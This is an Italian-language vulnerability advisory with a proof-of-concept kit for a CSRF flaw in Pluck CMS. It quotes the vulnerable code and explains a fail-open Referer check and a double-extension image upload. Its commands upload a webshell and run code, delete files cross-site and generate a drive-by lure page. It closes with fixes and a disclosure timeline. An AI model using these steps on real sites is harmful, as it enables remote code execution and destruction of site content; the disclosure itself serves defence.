
Advisory e PoC Python per Pluck CMS CSRF: il controllo Referer fail-open e il caricamento a doppia estensione consentono l'implementazione di webshell e l'esecuzione remota di codice.
| ID CVE | CVE-2026-70376 |
| ID di tracciamento | PT-2026-68036 |
| Prodotto | pluck-cms/pluck — Pluck CMS (flat-file PHP) |
| Versioni affette | 4.7.x fino a 4.7.21-dev / master attuale |
| Debolezza | CWE-352 (CSRF) · CWE-434 (upload senza restrizioni, amplificatore) |
| CVSS v3.1 | 8.0 — Alto · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| Vettore | Rete · nessun privilegio · una sola visita di pagina da parte di un admin (UI:R) |
| Impatto | Distruzione di contenuti/DoS, iniezione di contenuti persistenti, RCE su Apache/mod_php |
| Introdotta | commit f79f916 (dic 2019) — logica vulnerabile presente da allora |
| Ricercatore | Ilhomjon Rustamov (@IlhomjonR) |
Il pannello di amministrazione di Pluck non ha token CSRF per-request in nessun punto del codebase.
Ogni azione amministrativa che modifica lo stato è protetta da una singola funzione,
requestedByTheSameDomain(), la cui unica difesa è un confronto dell'host del Referer
— e quel controllo fallisce in modalità fail-open: quando una richiesta arriva senza alcuna
intestazione Referer, la funzione restituisce true e l'azione viene consentita.
Poiché una pagina dell'attaccante controlla completamente se viene inviato un Referer
(<meta name="referrer" content="no-referrer">), qualsiasi amministratore autenticato che
visiti una pagina dannosa può essere costretto a eseguire azioni privilegiate cross-site.
Diverse azioni distruttive vengono eseguite tramite GET e Pluck non imposta nessun
attributo SameSite su PHPSESSID (i browser applicano SameSite=Lax, che viene comunque inviato
nelle navigazioni GET di primo livello), quindi sono raggiungibili cross-site con le
impostazioni predefinite del browser.
Una debolezza secondaria nel filtro di upload consente allo stesso CSRF di collocare
un file a doppia estensione shell.php.jpg — trasformando il CSRF in una RCE drive-by
su host Apache/mod_php.
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
Una richiesta cross-site con un Referer esterno viene correttamente respinta (il ramo else),
il che crea un falso senso di protezione — ma l'attaccante si limita a
sopprimere il Referer, raggiunge il ramo fail-open e la richiesta viene consentita.
Dietro questo controllo non esiste alcun livello di token.
Il controllo viene applicato una volta in admin.php e considerato attendibile per l'intero switch delle azioni:
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite sul cookie di sessione (amplificatore)Pluck non chiama mai session_set_cookie_params(), quindi PHPSESSID eredita il
valore predefinito vuoto → i browser applicano SameSite=Lax, che viene comunque inviato
nelle navigazioni GET di primo livello. Le azioni esposte via GET (deletefile, deleteimage, deletepage,
module_delete, theme_delete, logout) sono quindi falsificabili con una singola
visita di pagina.
data/inc/images.php (amplificatore RCE)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
Entrambi i controlli possono essere aggirati banalmente:
$_FILES[...]['type']) → impostare image/jpeg;shell.php.jpg
termina con .jpg e supera il controllo.Il file viene scritto in images/shell.php.jpg; su un host Apache/mod_php con
gestione delle estensioni multiple viene eseguito come PHP.
Una sola visita di pagina da parte di un admin autenticato — nessun clic.
flowchart LR
A[Admin logged into Pluck] --> B[Opens attacker page]
B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
C --> D[Top-level nav / auto-form to admin.php]
D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
F --> G1[deletefile / deletepage -> destruction / DoS]
F --> G2[editpage -> stored-content injection]
F --> G3["images upload -> shell.php.jpg -> RCE"]Le azioni falsificabili includono:
| Azione | Metodo | Impatto |
|---|---|---|
admin.php?action=deletefile&var1=<f> | GET | Elimina un file caricato arbitrario |
admin.php?action=deletepage&... | GET | Elimina le pagine del sito (DoS) |
admin.php?action=module_delete&... | GET | Rimuove i moduli |
admin.php?action=logout | GET | Disconnette l'admin |
admin.php?action=editpage | POST | Inietta contenuto persistente nelle pagine |
admin.php?action=images (upload) | POST | Colloca shell.php.jpg → RCE |
Un kit PoC funzionante si trova in exploit/:
pluck_csrf_rce.py — dimostra la logica fail-open, carica una webshell via CSRF ed
esegue comandi, elimina file via CSRF oppure genera un'esca (lure).csrf_poc.html — la pagina drive-by autonoma consegnata a un admin vittima.pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
Le richieste Python inviano deliberatamente nessun Referer, riproducendo esattamente
un browser vittima con una policy no-referrer. L'asimmetria a livello HTTP che conferma
la logica:
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️ Il passaggio
.php.jpg→ RCE richiede un host Apache/mod_php che esegua i file a estensioni multiple tramite PHP. Dove ciò non è configurato, l'upload via CSRF riesce comunque e le primitive distruttivedelete/deletepagenon vengono influenzate — il CSRF è il bug principale; la RCE è l'amplificatore.
Referer/Origin assente come non attendibile. Preferire l'intestazione Origin e rifiutare
quando è mancante o non corrispondente.deletefile, deletepage, logout, ecc.
su POST, così SameSite=Lax fornisce una protezione di base.SameSite=Strict (o Lax), HttpOnly
e Secure tramite session_set_cookie_params().| Data | Evento |
|---|---|
| 2019-12 | Introdotta la logica vulnerabile requestedByTheSameDomain() (f79f916) |
| 2026-07-08 | Scoperta tramite audit del codice sorgente; PoC end-to-end verificato |
| 2026-08-10 | Bozza dell'advisory (PT-2026-68036) |
| 2026-08-12 | Assegnato CVE-2026-70376; advisory + PoC pubblicati |
Questo materiale è pubblicato per scopi educativi e difensivi e solo per test di sicurezza autorizzati. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita e scritta al test. L'autore non si assume alcuna responsabilità per l'uso improprio.
Trovato e documentato da @IlhomjonR · CVE-2026-70376 · PT-2026-68036